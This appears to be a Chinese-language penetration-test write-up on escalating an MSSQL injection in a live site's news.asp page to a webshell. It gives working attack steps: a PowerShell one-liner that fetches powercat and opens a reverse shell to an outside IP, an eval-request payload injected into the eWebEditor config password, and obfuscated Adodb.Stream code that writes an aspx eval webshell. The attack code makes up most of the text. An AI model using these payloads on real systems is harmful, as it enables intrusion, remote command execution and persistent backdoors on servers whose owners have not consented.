从注入到webshell

背景:一朋友渗透测试中遇到一个注入点可执行命令,但无法突破写shell卡住,mssql注入dba权限whoaminetwork权限木马暂时未上

注入点: https://********.com/member/news.asp?ID=6666

判断是否站库分离

1
2
select @@servername`
select host_name()`

发现站库是同服务器

2019-07-30-05-03-10

直接sqlshell执行命令返回太慢,且容易产生大量不必要日志,web目录不可写,所以这里使用powershell反弹shell

1
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 443 -e cmd

2019-07-30-05-22-18

web目录不可写
2019-07-30-06-24-51

发现有php进程,看php进程是否以system权限启动,如果为system权限启动并且对应的web目录可写,就直接省去了提权
tasklist /fi "IMAGENAME eq php.exe" /v
执行发现并不是高权限启动

发现eweb编辑器,且配置文件插入了常用iis可解析后缀
2019-07-30-05-17-51

登录eweb编辑器发现没有开启asp上传相关组件,无法使用eweb编辑器进行上传任何文件,但是可以修改配置文件,也就是说并不是真正的不可写,修改配置文件调用的是Adodb.Stream,而通常上传代码为Scripting.FileSystemObject 组件
2019-07-30-06-23-01
2019-07-30-05-26-44

查看ewebeditor/admin/private.asp

2019-07-30-06-16-39

拿shell思路写config.asp配置文件
修改写配置文件
将密码修改为:
aaaaaaaaa":eval request("a")'
aaaaaaaaa为原本密码
成功连接webshell
https://********.com/ewebeditor/asp/config.asp

2019-07-30-06-20-52

既然Adodb.Stream 可以修改配置文件,那么同样也可以用来上传文件,下图是eweb中写配置文件代码,我们可以直接抠出来用

2019-07-30-06-35-07

菜刀执行自定义代码
2019-07-30-06-46-31

利用Adodb.Stream 写aspxshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Sub WriteFile(s_FileName, s_Text)
On Error Resume Next
Err.Clear
Dim stm
Set stm = Server.CreateObject("Adodb.Stream")
stm.Type = 2
stm.mode = 3
stm.charset = "utf-8"
stm.Open
stm.WriteText s_Text
stm.SaveToFile Server.Mappath(s_FileName), 2
stm.flush
stm.Close
Set stm = Nothing

If Err.Number<>0 Then
Err.Clear
Response.Write "<br><br>Error: Write config file, reason:<br>1. You do not have write privileges for eWebEditor/asp/config.asp<br>2. Server have disabled Adodb.Stream Object"
Response.End
End If
End Sub
aspxshell= "<"&"%"&"@"&"Page Language"&"="&""""&"Jscript"&""""&"%"&">"&"<"&"%"&"eval"&"("&"Request"&"."&"Item"&"["&""""&"pass"&""""&"]"&","&""""&"unsafe"&""""&")"&";"&"%"&">"
Call WriteFile("../uploadfile/config.aspx", aspxshell)

成功获得aspxshell:
https://********.com/ewebeditor/asp/config.aspx pass

这里为什么要用aspx shell呢?因为.net有可能继承users组权限,且不受fso(FileSystemObject)组件影响,当然也可以使用无fsoshell

数据库反弹shell无法对web目录写文件原因下几个图片可以说明:
2019-07-30-06-45-23

数据库shell权限:
2019-07-30-06-38-05

webshell 下权限
2019-07-30-06-44-09